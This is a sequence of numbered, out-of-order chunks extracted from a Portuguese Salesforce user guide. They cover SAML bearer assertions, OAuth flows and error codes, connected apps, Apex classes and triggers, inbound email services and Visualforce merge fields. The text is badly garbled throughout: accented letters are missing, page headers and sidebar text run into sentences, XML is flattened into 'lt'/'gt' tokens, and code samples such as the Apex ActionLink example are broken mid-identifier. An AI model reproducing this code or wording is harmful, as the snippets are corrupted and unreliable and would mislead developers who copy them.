244. cified xmlns saml urn oasis names tc SAML 2 0 assertion gt test example org lt saml NameID gt lt saml SubjectConfirmation Method urn oasis names tc SAML 2 0 cm bearer Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 205 xmlns saml urn oasis names tc SAML 2 0 assertion gt lt saml SubjectConfirmationData NotOnoOrAfter 2013 09 05T19 30 14 654Z Recipient https login salesforce com services oauth2 token gt lt saml SubjectConfirmation gt lt saml Subject gt lt saml Conditions NotBefore 2013 09 05T19 25 14 654Z NotOnOrAfter 2013 09 05T19 30 14 6544 xmlns saml urn oasis names tc SAML 2 0 assertion gt lt saml AudienceRestriction xmlns saml urn oasis names tc SAML 2 0 assertion gt lt saml Audience gt https login salesforce com services oauth2 token lt saml Audience gt lt saml AudienceRestriction gt lt saml Conditions gt lt saml AuthnStatement AuthnInstant 2013 09 05T19 25 14 6552 xmlns saml urn oasis names tc SAML 2 0 assertion gt lt saml AuthnContext xmlns saml urn oasis names tc SAML 2 0 assertion gt lt saml AuthnContextClassRef gt urn oasis names tc SAML 2 0 ac classes unspeci fied lt saml AuthnContextClassRef gt lt saml AuthnContext gt lt saml AuthnStatement gt lt saml Assertion gt Usando declara es portadoras de SAML As declara es portadoras SAML devem ser enviadas por POST para o ponto final do tok
245. classes do Apex e Apex do autor Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 106 O Importante Escolha um usu rio de contexto que tenha permiss o para executar a classe do Apex que o servi o de email tenha sido configurado para usar 7 Opcionalmente configure este endere o de servi o de email para aceitar apenas mensagens de determinados remetentes criando uma lista de endere os de email e dom nios na caixa de texto Aceitar email de Separe v rias entradas com v rgulas Por exemplo jorge minhaempresa com yahoo com gmail com Se a caixa de texto Aceitar email de tiverumvaloreo servi o de email receber uma mensagem de um endere o de email ou dom nio n o listado o servi o de email realizar a a o especificada na configura o A o para remetente n o autorizado de resposta da falha Deixe esse campo em branco se quiser que o servi o de email receba mensagens de qualquer endere o Nota Se o servi o de email e o endere o do servi o de email estiverem configurados para aceitar apenas mensagens de determinados remetentes o servi o de email processar somente as mensagens de remetentes listados nas caixas de texto Aceitar email de tanto no servi o de email quanto no endere o do servi o de email 8 Clique em Salvar para salvar as altera es ou em Salvar e novo para definir outro endere o email de entrada para este servi o de email CONSULTE TAMB M
246. clocks das m quinas Se o nonce nunca foi usado antes 3 Navalida o o Salesforce retorna a ChaveDeAcesso e o SegredodaChaveDeAcesso no corpo de resposta HTTP como pares de nome valor Gerando assinatura_oauth para Login Voc pode acessar o Salesforce utilizando a interface do usu rio ou a APL assinatura_oauth usada para login gerada de forma diferente dependendo do m todo usado e Interface do usu rio use https login salesforce com para gerar a assinatura e APl use https login salesforce com services OAuth type versdo api para gerar a assinatura type deve ter um dos seguintes valores u WSDL parceiro c WSDL corporativo Porexemplo https login salesforce com services OAuth u 17 0 Acessando dados do Salesforce usando o aplicativo do consumidor Depois que um consumidor passa a ter um AccessToken v lido um aplicativo conectado para solicitar acesso a dados do Salesforce Veja a seguir etapas mais detalhadas sobre o acesso a dados para desenvolvedores que usam um aplicativo conectado para solicitar dados do Salesforce Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 201 1 Oconsumidor faz uma solicita o HTTPS POST para https login salesforce com com os par metros requeridos no cabe alho de autoriza o chave do consumidor oauth chave oauth m todo de assinatura oauth assinatura oauth da ta e hora oauth
247. cluir o Apex usando a interface do usu rio do Salesforce em uma organiza o Developer Edition uma organiza o de avalia o Enterprise Edition do Salesforce ou uma organiza o sandbox Em uma organiza o de produ o do Salesforce voc s pode fazer altera es no Apex usando a chamada da API de metadados deploy 0 Force com IDE ou a Force com Migration Tool O Force com IDE e o Force com Migration Tool s o recursos gratuitos fornecidos pelo Salesforce para auxiliar seus usu rios e parceiros mas n o s o considerados parte de nossos Servi os dentro do escopo do Contrato de assinatura mestre do Salesforce e Um cone indica que um acionador do Apex est em um pacote gerenciado instalado Voc n o pode editar nem excluir um acionador em um pacote gerenciado e Um cone indica que um acionador Apex em um pacote gerenciado previamente liberado ser exclu do no upload do pr ximo pacote Voc pode optar por desfazer a exclus o do acionador Apex por meio da p gina de detalhe do pacote CONSULTE TAMB M Definir acionadores do Apex Gerenciando configura es de vers o para o Apex Para auxiliar na compatibilidade reversa as classes ser o armazenadas com as configura es para uma vers o especificada do Apex e da API Se a classe do Apex fizer refer ncia a componentes como um objeto personalizado em um pacote gerenciado instalado as configura es de vers o para cada pacote gerenciado mencionado pela p g
248. co Aloha do Salesforce apresentado na Spring 10 e PortalDefault Tema do Portal de clientes do Salesforce e Webstore Tema do Salesforce AppExchange Nota User UITheme e SUser UIThemeDisplayed retornam o valor Theme3 no Lightning Experience e no Salesforce1 o que n o est correto O comportamento de SUser UlTheme e SUser UlThemeDisplayed nesse contexto pode ser alterado em uma vers o futura O exemplo a seguir mostra como gerar layouts diferentes baseados em um tema do usu rio lt apex page gt lt apex pageBlock title My Content rendered SUser UITheme Theme2 gt this is the old theme lt apex pageBlock gt lt apex pageBlock title My Content rendered SUser UITheme Theme3 gt this is the classic theme lt apex pageBlock gt lt apex page gt Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex SUserRole Descri o Use Exemplo de regra de valida o Processo fluxo e Visualforce Dicas CONSULTE TAMB M Visualforce 40 Tipo de campo de mesclagem global a ser usado para fazer refer ncia a informa es sobre o papel do usu rio atual Campos de mesclagem de papel podem fazer refer ncia a informa es como nome do papel descri o e ID 1 Selecione o tipo de dados UserRole 2 Selecione um campo de mesclagem como UserRole Name A f rmula de regra de valida o abaixo faz refer ncia ao nome do p
249. cone de bloco multicor padr o gt c Selecione um arquivo e clique em OK O Assistente de nova guia personalizada reaparece 7 Tamb m poss vel marcar a caixa de sele o Pronto para o Salesforce Classic Mobile para indicar que a p gina do Visualforce exibida e funciona corretamente no aplicativo Salesforce Classic Mobile Marcar a caixa de sele o faz com que a guia seja adicionada lista de guias dispon veis para as configura es m veis do Salesforce Classic Mobile Antes de mobilizar uma guia do Visualforce analise as considera es sobre a guia do Salesforce Classic Mobile para se certificar de que as p ginas do Visualforce nas suas guias sejam compat veis com navegadores m veis Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 74 Nota A caixa de sele o Pronto para Salesforce Classic Mobile ser exibida somente se a op o Salesforce Classic Mobile estiver ativada para a organiza o Essa configura o n o afeta a exibi o das guias do Visualforce no aplicativo Salesforce1 Para permitir o uso de uma nova guia do Visualforce no Salesforce1 consulte Ativar p ginas do Visualforce para uso no aplicativo m vel Salesforce1 e Definindo p ginas do Visualforce na p gina 68 8 Outra op o escolher um link personalizado para usar como a p gina inicial introdut ria quando os usu rios clicarem pela primeira vez na guia Observe que as p ginas inici
250. configurarem Usu rios autorizados como Usu rios aprovados pelo administrador Sea op o de acesso remoto n o foi marcada originalmente a caixa de sele o n o ser exibida Configura es de aplicativo da Web Digite uma URL de inicio para que seu aplicativo direcione os usu rios para um local espec fico depois da autentica o Se a URL de in cio n ofor fornecida os usu rios ser o direcionados para a p gina de in cio padr o do aplicativo ap s a conclus o da autentica o Se o aplicativo conectado criado for um aplicativo de tela n o ser preciso inserir um valor para esse campo O campo URL do aplicativo de tela cont m o URL que chamado para o aplicativo conectado Se seu aplicativo conectado usar um provedor de servi o SAML selecione Ativar SAML Digite ID da entidade URL do ACS Tipo de assunto Formato do ID do nome e Emissor dispon veis por meio do seu provedor de servi o Selecione Verificar as assinaturas de solicita o casoo provedor de servi os tenha dado a voc um certificado de seguran a Navegue no sistema do certificado Isso ser necess rio somente se voc planejar iniciar o login no Salesforce pelo provedor de servi os e o provedor de servi os assinar suas pr prias solicita es de SAML O Importante Se voc fizer upload de um certificado todas as solicita es de SAML dever o estar assinadas Se nenhum certificado for carregado todas as solicita es de SAML ser o aceitas
251. contas A f rmula de valida o abaixo faz refer ncia ao campo de mesclagem do pa s da organiza o e exige um c digo de pa s para qualquer conta que seja estrangeira AND Organization Country lt gt BillingCountry ISBLANK Country Code c Crie uma f rmula de fluxo Texto cuja express o SOrganization City Em um elemento Decis o verifique se a cidade de um contato corresponde f rmula Use a nota o de ponto para acessar as informa es da sua organiza o Por exemplo SOrganization Street SOrganization State Os campos de mesclagem da organiza o obt m seus valores de quaisquer valores armazenados no momento como parte das informa es de sua companhia no Salesforce Observe que SOrganization UiSkin um valor de lista de op es e portanto deve ser usado com fun es de lista de op es como ISPICKVAL em campos personalizados regras de valida o express es do Visualforce e f rmulas de fluxo de processo e de regra de fluxo de trabalho Um tipo de campo de mesclagem global a ser usado para fazer refer ncia a uma p gina do Visualforce Use essa express o em uma p gina do Visualforce para lig la a outra p gina do Visualforce lt apex page gt lt hl gt Linked lt h1 gt lt apex outputLink value Page otherPage gt This is a link to another page lt apex outputLink gt lt apex page gt Aprimorar o Salesforce com c digo Guia do usu rio Componentes do L
252. cote mais recente Voc pode especificar uma vers o mais antiga do Apex e da API para manter um comportamento espec fico 4 No editor de classes digite o c digo Apex para a classe Uma nica classe pode ter at 1 milh o de caracteres de extens o n o incluindo coment rios m todos de teste ou classes definidas usando isTest 5 Clique em Salvar para salvar as altera es e retornar tela de detalhes da classe ou em Grava o r pida para salvar as altera es e continuar a editar a classe A classe do Apex deve ser compilada corretamente para que voc possa salvar a classe Uma vez salvas as classes podem ser chamadas por m todos de classe ou vari veis por outro c digo Apex como um acionador Nota Para auxiliar na compatibilidade reversa as classes ser o armazenadas com as configura es para uma vers o especificada do Apex e da API Se a classe do Apex fizer refer ncia a componentes como um objeto personalizado em um pacote gerenciado instalado as configura es de vers o para cada pacote gerenciado mencionado pela p gina tamb m ser o salvas Al m disso as classes s o armazenadas com um indicador V lido que definido como verdadeiro contanto que os metadados dependentes n o tenham sido alterados desde a ltima compila o da classe Se qualquer altera o for feita nos nomes do objeto ou nos campos usados na classe incluindo altera es superficiais como edi es em uma descri o de objeto ou
253. cote que uma determinada propriedade ou m todo introduziu Voc pode selecionar um n mero de vers o na lista suspensa para ver o prot tipo referente vers o do pacote selecionado O valor padr o a vers o atual instalada O desenvolvedor do pacote pode recusar um m todo do Apex e fazer upload de uma nova vers o do pacote expondo assim uma classe do Apex com um prot tipo diferente Somente as classes os m todos e as vari veis definidas como globais ser o exibidas nos prot tipos referentes s classes do pacote gerenciado Se uma classe do Apex fizer refer ncias a componentes nos pacotes gerenciados instalados como outra classe acionador ou objeto personalizado a guia Configura es da vers o listar as vers es dos pacotes gerenciados instalados que cont m os componentes mencionados A guia Filtros do registro exibe as categorias do registro de depura o e os n veis de depura o que podem ser definidos para a classe CONSULTE TAMB M Definir classes do Apex Gerenciar classes do Apex Filtragem do registro de depura o para classes do Apex e acionadores do Apex Aprimorar o Salesforce com c digo Exibir detalhes do acionador do Apex Os acionadores do Apex s o armazenados como metadados no aplicativo sob o objeto com o qual est o associados Tamb m poss vel exibir todos os acionadores em Configura o inserindo Acionadores do Apex nacaixa Busca r pida eselecionando Acionadores do Apex Nota Voc s
254. criar atualizar ou excluir Personalizar aplicativo E Modificar todos os dados OU Gerenciar aplicativos conectados Para atualizar todos os campos com exce o de Perfis Conjuntos de permiss es e Atributos de SAML do provedor de servi os Personalizar aplicativo Para atualizar Perfis Conjuntos de Personalizar aplicativo E Modificar todos permiss es e Atributos de SAML do provedor os dados de servi os Para desinstalar Fazer download de pacotes do AppExchange Configure um aplicativo conectado para poupar tempo ao provisionar usu rios para os aplicativos EDI ES Dispon vel em Salesforce Classic e Lightning Experience Aplicativos conectados podem ser criados em Edi es Group Professional Enterprise Performance Unlimited e Developer Aplicativos conectados podem ser instalados em todas as edi es O Salesforce oferece um assistente passo a passo para as configura es de provisionamento de usu rios de cada aplicativo conectado Para usar o assistente voc precisa do seguinte Um aplicativo conectado para o servi o de terceiros Qualquer aplicativo conectado pode oferecer suporte ao provisionamento de usu rios inclusive um aplicativo conectado de favoritos Credenciais nomeadas As credenciais nomeadas identificam o sistema de terceiros e suas configura es de autentica o As chamadas ao sistema de terceiros para por exemplo criar edita
255. ctApi ActionLinkTemplateBindingInput gt bindingInputs new List lt ConnectApi ActionLinkTemplateBindingInput gt for String key bindingMap keySet ConnectApi ActionLinkTemplateBindingInput bindingInput ConnectApi ActionLinkTemplateBindingInput new bindingInput key key bindingMap get key bindingInputs add bindingInput bindingInput value Define the action link group definition ConnectApi ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput new ConnectApi ActionLinkGroupDefinitionInput j t templateId 07gD00000004C9r t templateBindings actionLinkGroupDefinitionInpu actionLinkGroupDefinitionInpu bindingInputs Ins Connec tantiate the action link group definition tApi ActionLinkGroupDefinition actionLinkGroupDefinition tApi ActionLinks createActionLinkGroupDefinition Network getNetworkId t Connec actionLinkGroupDefinitionInpu Q Dica poss vel usar a mesma vari vel vinculante v rias vezes em modelos de link de a o e apenas fornecer o valor uma vez durante a instancia o Por exemplo voc poderia usar Bindings MyBinding duas vezes no campo Corpo da solicita o HTTP em um modelo e novamente nos Cabe alhos HTTP de outro modelo no mesmo modelo de grupo de links de a o e ao instanciar o grupo a partir do modelo precisaria fornecer apenas um valor dessa vari vel compartilhada Aprimorar o Salesforce com c digo
256. das criando 251 editando 252 permiss es personalizadas necess rias 253 sobre 250 Processos de aprova o registros de depura o 271 Protegendo seu c digo 90 provisionamento de usu rios aplicativos conectados 188 190 192 relat rios 194 R Recursos est ticos definindo 81 exibindo 82 gerenciando 83 vis o geral 80 Registros de depura o classes e acionadores 289 filtros 274 n veis 274 ordem de preced ncia 273 Regras de atribui o registros de depura o 271 Regras de escala o registros de depura o 271 Regras de resposta autom tica registros de depura o 271 Regras de valida o registros de depura o 271 Regras do fluxo de trabalho registros de depura o 271 relat rios provisionamento de usu rios 194 Restri es de IP para Aplicativo conectado 175 176 178 R tulos personalizados adicionando tradu es 120 editando 118 editando tradu es 119 exibindo 120 vis o geral 117 S S controls amostras Uteis 126 comparados com as paginas do Visualforce 131 criando 120 122 definindo 120 122 dicas 125 editando 122 excluindo 124 exemplos 126 sobre 121 tipos de campo de mesclagem 20 vari veis globais 20 S Controls campos de mesclagem 130 S Controls personalizados sobre 121 Salesforce1 adicione componentes do Lightning 87 SAML fluxo de asser es de SAML 224 OAuth 224 SCIM 153 Seguran a c digo 98 Visualforce 95 96 Servi os de email editando 106
257. das formas apresentadas a seguir e Para determinar quais usu rios t m acesso a uma permiss o personalizada espec fica use o Salesforce Object Query Language SOQL com os sObjects SetupEntityAccess e CustomPermission Guia do usu rio Integra o de aplicativos com o Salesforce 250 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Group Professional Enterprise Performance Unlimited e Developer Em organiza es com Group e Professional Edition voc n o pode criar ou editar permiss es personalizadas mas poss vel instal las como parte de um pacote gerenciado e Para determinar quais permiss es personalizadas os usu rios t m ao autenticar em um aplicativo conectado fa a refer ncia o URL de identidade do usu rio que o Salesforce fornece em conjunto com o token de acesso referente ao aplicativo conectado CONSULTE TAMB M Criar permiss es personalizadas Adicionar ou remover as permiss es personalizadas necess rias Refer ncia de objeto para Salesforce e Force com CustomPermission URLs de identidade Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Criar permiss es personalizadas Criar permiss es personalizadas para dar aos usu rios o acesso a processos ou aplicativos personalizados 1 Em Configura o insira Permiss es personalizadas nacaixa Busca r pida e selecione Permiss es personalizadas
258. de cada objeto Para obter funcionalidades de desenvolvimento adicionais use o Console do desenvolvedor Nota O prefixo de namespace adicionado s classes e acionadores do Apex componentes e p ginas do Visualforce modelos de marca pastas s controls recursos est ticos links da web etipos de relat rio personalizados caso eles estejam inclu dos em um pacote gerenciado Mas se voc n o tiver permiss o para personalizar aplicativos o campo de prefixo de namespace n o ser exibido para modelos de marca pastas e tipos de relat rio personalizados Clique em Novo para criar um acionador do Apex Nota Voc s pode criar acionadores a partir do objeto associado n o pela p gina Acionadores do Apex Depois de criar um acionador do Apex e Clique em Editar ao lado do nome do acionador para modificar o seu conte do em um editor simples e Clique em Excluir ao lado do nome do acionador para excluir o acionador da organiza o EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Enterprise Performance Unlimited Developer e Database com Editions PERMISS ES DO USU RIO Para definir editar excluir definir configura es de vers o e mostrar depend ncias de acionadores do Apex e Apex do autor Aprimorar o Salesforce com c digo Nota Guia do usu rio Componentes do Lightning Apex Visualforce 58 e Voc s pode adicionar editar ou ex
259. de linha e coluna A posi o de linha e coluna do cursor exibida na barra de status na parte inferior do editor Essa op o pode ser usada com Ir para a linha gt para navegar rapidamente pelo editor Contagem de linhas e caracteres O n mero total de linhas e caracteres exibido na barra de status na parte inferior do editor O editor suporta os seguintes atalhos de teclado Tab Adiciona uma tabula o ao cursor SHIFT Tab Remove uma tabula o Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 16 CTRL Abre a caixa de di logo de pesquisa ou procura a pr xima ocorr ncia da pesquisa atual CTRL r Abre a caixa de di logo de pesquisa ou substitui a pr xima ocorr ncia da pesquisa atual pela string de substitui o especificada CTRL g Abre a caixa de di logo Ir para a linha CTRL s Executa uma grava o r pida CTRL z Reverte a ltima a o de edi o CTRL y Recria a ltima a o de edi o que foi desfeita CONSULTE TAMB M Vis o geral do c digo do Apex Visualforce Editor de c digo fonte O Console do desenvolver inclui um Editor de c digo fonte com uma cole o de recursos para editar o c digo do Apex e Visualforce Todos os arquivos de c digo incluindo classes e acionadores do Apex e p ginas e componentes do Visualforce s o abertos no Editor de c digo fonte no espa o de trabalho do Console do desenvolvedor Purciassond
260. de retorno inv lido A ChaveDeSolicita o cont m um par metro retorno oauth inv lido O valor deve ser oob ou um URL v lido que usa https 1711 Falha Verificador inv lido A ChaveDeAcesso cont m um par metro verificador oauth inv lido 1712 Falha Limite da chave Adiquirir acesso excedido permitido tentar trocar uma ChaveDeSolicita o por uma ChaveDeAcesso somente tr s vezes 1713 Falha Consumidor exclu do O aplicativo de acesso remoto foi exclu do da organiza o do Salesforce 1716 Falha Acesso da API do OAuth desativado A API de servi os da web do Force com n o est ativada para a organiza o ou o acesso da API do OAuth foi desativado para a organiza o Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 203 Fluxo de declara es portadoras SAML de OAuth 2 0 Uma declara o SAML um token de seguran a XML geralmente emitido por um provedor de EDICOES identidade e consumida por um provedor de servi o que depende de seu conte do para identificar o sujeito da declara o para fins de seguran a Dispon vel em Salesforce Um fluxo de declara o portadora SAML de OAuth 2 0 define como uma declara o SAML pode Classic ser usada para solicitar um token de acesso OAuth quando um cliente desejar usar uma autoriza o anterior A autentica o do aplicativo autorizado fornecida pela assinatura digital aplicada declara o SA
261. demora para processar ativamente o lote incluindo o tempo de processamento do Apex Isso n o inclui o tempo que o lote aguardou na fila para ser processado nem o tempo necess rio para serializa o e remo o da serializa o OID do lote Pode ser globalmente exclusivo mas isso n o obrigat rio A data e a hora no fuso hor rio UTC em que o processamento terminou Isso s ser v lido quando o estado for Conclu do O n mero de registros que n o foram processados com xito neste lote O n mero de registros processados neste lote no momento em que a solicita o foi enviada Esse n mero aumenta medida que mais lotes s o processados Aprimorar o Salesforce com c digo Campo Descri o Contagem de O n mero de vezes que o Salesforce tentou salvar os resultados de uma opera o As tentativas repetidas s o retentativas decorrentes de um problema como conten o de bloqueio ou demora em excesso do processamento do lote Hora de A data e a hora no fuso hor rio UTC em que o lote foi criado N o se trata da hora em que o processamento foi in cio iniciado e sim de quando o lote foi adicionado ao trabalho Mensagem do Cont m os motivos de falha caso o lote n o tenha sido conclu do com xito estado Status O estado atual do processamento do lote e Em fila O processamento do lote ainda n o foi iniciado Se o trabalho associado a esse lote for anulado o lote n o ser processado e o estado ser definid
262. desse email E poss vel usar as classes do Apex que implementam a interface Messaging InboundEmailHandler para lidar com Dispon vel em Salesforce mensagens de email de entrada Com o m todo handleInboundEmail na classe poss vel Classic acessar o objeto InboundEmail para recuperar conte do cabe alhos e anexos de mensagens de email de entrada al m de realizar diversas fun es Dispon vel em Edi es Enterprise Performance Nota Para obter informa es sobre o servi o de email do Apex consulte O que s o servi os Unlimited e Developer de email na p gina 104 Exemplo 1 Criar tarefas para contatos A seguir veja um exemplo de como voc pode pesquisar um contato pelo endere o de email recebido e criar uma nova tarefa global class CreateTaskEmailExample implements Messaging InboundEmailHandler global Messaging InboundEmailResult handleInboundEmail Messaging inboundEmail email Messaging InboundEnvelope env Create an InboundEmailResult object for returning the result of the Apex Email Service Messaging InboundEmailResult result new Messaging InboundEmailResult String myPlainText Add the email plain text into the local variable myPlainText email plainTextBody New Task object to be created Task newTask new Task 0 Try to look up any contacts based on the email from address If there is more than one contact with
263. dicionar produtos O conte do na se o de corpo apenas ilustra como usar campos de mesclagem de oportunidade na lista relacionada de produtos de oportunidade Substitua a se o de corpo com seu c digo Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 128 Substitui o condicional para edi o de leads Voc pode substituir uma a o padr o condicionalmente redirecionando para uma a o padr o ou s control personalizado dependendo de certas condi es Por exemplo voc pode usar um s control separado para editar leads que estiveram em aberto por mais de 30 dias Usando o exemplo a seguir crie um s control para avaliar se um lead est em aberto h mais de 30 dias e em caso positivo executar o s control personalizado para edit lo Caso contr rio use a a o padr o de editar lead lt script type text javascript gt determine if the lead has been open longer than 30 days if IF ISPICKVAL Lead Status Open ROUND NOW Lead CreatedDate 0 0 gt 30 more than 30 days display a custom scontrol page window location href URLFOR S SControl EditLeadsOpenLongerThan30 else 30 days or less display the standard edit page window parent location href URLFOR SAction Lead Edit Lead Id retURL URLFOR Action Lead View Lead Id true lt script gt Para implementar isso na organiza o crie o s cont
264. do Apex consulte o Guia do desenvolvedor do Apex code do Force com O Salesforce exibe motivos de compartilhamento do Apex na coluna Motivo ao exibir o compartilhamento de um registro de objeto personalizado na interface de usu rio Isso permite que usu rios e administradores saibam o objetivo do compartilhamento Ao trabalhar com os motivos de compartilhamento do Apex observe o seguinte e Apenas usu rios com a permiss o Modificar todos os dados podem adicionar editar ou excluir um compartilhamento que utiliza um motivo de compartilhamento do Apex e Excluir um motivo de compartilhamento do Apex excluir todos os compartilhamentos no objeto que usa o motivo e Voc pode criar at 10 motivos de compartilhamento do Apex por objeto personalizado e Voc pode criar motivos de compartilhamento de Apex usando a API de metadados Parar criar um motivo de compartilhamento do Apex Guia do usu rio Componentes do Lightning Apex Visualforce 93 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Performance Unlimited Developer Enterprise e Database com PERMISS ES DO USU RIO Para editar perfis e Gerenciar perfis e conjuntos de permiss es EDI ES Dispon vel em Salesforce Classic Dispon vel em Edi es Professional Enterprise Performance Unlimited Developer e Database com PERMISS ES DO USU RIO Parar criar motivos de
265. do Apex a partir da p gina Detalhes da classe 1 Em Configura o insira Classes do Apex nacaixa Busca r pida eselecione Classes do Apex 2 Clique no nome da classe que deseja restringir 3 Clique em Seguran a 4 Selecione os perfis que deseja ativar na lista Perfis dispon veis e clique em Adicionar ou selecione os perfis que deseja desativar na lista Perfis ativados e clique em Remover 5 Clique em Salvar CONSULTE TAMB M Configurar o acesso da classe do Apex a partir da p gina Lista de classes Configurando o acesso da classe Apex de conjuntos de permiss es Definir o acesso da classe do Apex de perfis Configurando o acesso da classe Apex de conjuntos de permiss es Voc pode especificar os m todos de uma classe Apex de n vel superior que s o execut veis para um conjunto de permiss es Essas configura es aplicam se apenas aos m todos de classes do Apex como servi o da Web ou a qualquer m todo usado em um controlador ou uma extens o de controlador personalizados do Visualforce aplicados em p ginas do Visualforce Os acionadores sempre s o ativados em compromissos de acionador como insert ou update independentemente das configura es de permiss es 1 Em Configura o insira Conjuntos de permiss es nacaixa Busca r pida e selecione Conjuntos de permiss es Selecione um conjunto de permiss es Clique em Acesso classe do Apex Clique em Editar Br a Selecione as classes do Apex que voc
266. do Lightning ao Salesforce1 https developer salesforce com docs atlas en us lightning meta lightning Aprimorar o Salesforce com c digo Depurar c digo JavaScript Ative o modo de depura o para facilitar a depura o de c digo JavaScript em componentes do Lightning Por padr o a estrutura Componente do Lightning executada em modo PROD Esse modo otimizado para desempenho Ele usa o Google Closure Compiler para otimizar e minimizar o tamanho do c digo JavaScript O nome do m todo e o c digo s o muito ofuscados Quando voc ativa o modo de depura o a estrutura executada no modo PRODDEBUG por padr o O modo n o usa o Google Closure Compiler de modo que o c digo JavaScript n o minimizado sendo mais f cil de ler e depurar Para ativar o modo de depura o 1 Em Configura o insira Componentes do Lightning nacaixa Busca r pida e elecione Componentes do Lightning nan 2 Marque a caixa de sele o Ativar modo de depura o 3 Clique em Salvar CONSULTE TAMB M Vis o geral da estrutura de componente do Lightning beta https developer salesforce com docs atlas en us lightning meta lightning Adicionar os componentes do Lightning ao Salesforcel Disponibilize os componentes do Lightning para os usu rios do Salesforce1 Guia do usu rio Componentes do Lightning Apex Visualforce 87 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon
267. dor do cliente inv lido solicita o inv lida HTTPS necess rio solicita o inv lida deve usar HTTP POST invalid request o par metro de escopo n o permitido credenciais do cliente inv lidas segredo do cliente inv lido invalid grant falha de autentica o por exemplo o usu rio n o existe ou senha inv lida concess o inv lida lP restrito ou horas de login inv lido usu rio _inativo o usu rio est inativo org inativa a organiza o est bloqueada fechada ou suspensa taxa limite excedida numero de logins excedidos A seguir um exemplo de erro retornado f error invalid client credentials error description client secret invalid CONSULTE TAMB M Autenticando aplicativos com o OAuth Aprimorar o Salesforce com c digo Fluxo de agentes de usu rios OAuth 2 0 O fluxo de autentica o de agentes do usu rio usado por aplicativos de clientes consumidores que residem no dispositivo do usu rio Isso pode ser implementado em um navegador usando uma linguagem de script como JavaScript ou a partir de um dispositivo m vel ou um aplicativo de desktop Esses consumidores n o podem manter o segredo do cliente confidencial A autentica o do consumidor baseada na pol tica de mesma origem do agente do usu rio Ao contr rio dos outros fluxos de autentica o o aplicativo cliente recebe a chave de acesso no formato de um redirecionamento HTTP O aplicativ
268. dos e Clique em Revogar para revogar o acesso ao aplicativo Ap s a revoga o do aplicativo ele n o poder mais usar esse token espec fico de autoriza o de acesso para acessar seus dados do Salesforce O Importante Voc dever revogar todas as chaves de acesso de um determinado aplicativo para impedi lo de acessar seus dados do Salesforce CONSULTE TAMB M Solicita o de acesso ao aplicativo negada Solicita o de acesso ao aplicativo Solicita o de acesso ao aplicativo negada O aplicativo externo que voc est usando solicitou acesso aos dados do Salesforce e voc negou esse acesso Voc deve fazer logoff do Salesforce Voc pode voltar ao aplicativo de origem CONSULTE TAMB M Solicita o de acesso ao aplicativo aprovada Solicita o de acesso ao aplicativo Tipos de metadados personalizados Tipos de metadados personalizados Voc pode criar suas pr prias estruturas declarativas de desenvolvedor para equipes internas parceiros e clientes Em vez de criar aplicativos a partir dos dados poss vel criar aplicativos que s o definidos e conduzidos por seus pr prios tipos de metadados Metadados s o as informa es que descrevem a configura o da organiza o de cada cliente Metadados personalizados s o metadados de aplicativo que podem ser personalizados implantados empacotados e atualizados Primeiro voc cria um tipo de metadados personalizados que define a forma dos metadados d
269. dos Aplicativos conectados podem ser criados em Edi es Group Para atualizar todos os campos com Personalizar aplicativo exce o de Perfis Conjuntos de permiss es Professional Enterprise e Atributos de SAML do provedor de Performance Unlimited e servi os Developer ue E Aplicativos conectados Para atualizar Perfis Conjuntos de Personalizar aplicativo E Modificar todos hae E podem ser instalados em permiss es e Atributos de SAML do provedor os dados o todas as edi es de servi os Para desinstalar Fazer download de pacotes do AppExchange Para exibir e atualizar propriedades de um aplicativo conectado em Configura o insira Aplicativos conectados na caixa Busca r pida e selecione a op o de gerenciamento de aplicativos conectados Localize o aplicativo e clique em Editar ao lado dele Para exibir informa es uso e pol ticas de um aplicativo conectado ou adicionar atributos personalizados clique no nome do aplicativo Nota As sess es s o atualizadas automaticamente em intervalos que variam de 15 minutos a 12 horas enquanto o usu rio est no aplicativo dependo do Valor do tempo limite de sess o definido para sua organiza o o que muitas vezes n o detectado pelo usu rio Aplicativos conectados instalados pelo Salesforce Alguns aplicativos Salesforce s o implementados como aplicativos conectados e automaticamente instalados na sua organiza o como
270. dyIsTruncated refer ncias replyTo subject textAttachments Tipo String String InboundEmail Header String Booleano String String String Booleano String String String InboundEmail TextAttachment Guia do usu rio Componentes do Lightning Apex Visualforce 114 Descri o Endere o de email exibido no campo De Nome exibido no campo De se houver Uma lista de cabe alhos RFC 2822 no email incluindo e Recebido de e Cabe alhos personalizados e ID da mensagem e Data A vers o HTML do email se especificada pelo remetente Indica se o texto do corpo de HTML est truncado verdadeiro ou n o falso O campo Resposta do email de entrada Identifica o s email s para o s qual is este uma resposta emails pai Cont m o email pai ou os IDs de mensagem dos emails O ID da mensagem o identificador exclusivo do email de entrada Avers o de texto sem formata o do email se especificada pelo remetente Indica se o texto do corpo simples est truncado verdadeiro ou n o falso O campo Refer ncias do email de entrada Identifica um segmento de email Cont m uma lista de refer ncias e IDs de mensagem dos emails pai e possivelmente o campo Resposta Endere o de email exibido no cabe alho de resposta Se n o houver cabe alho de resposta esse campo ser id ntico ao campo fromAddress Linha do assunto do email se houver Uma lista d
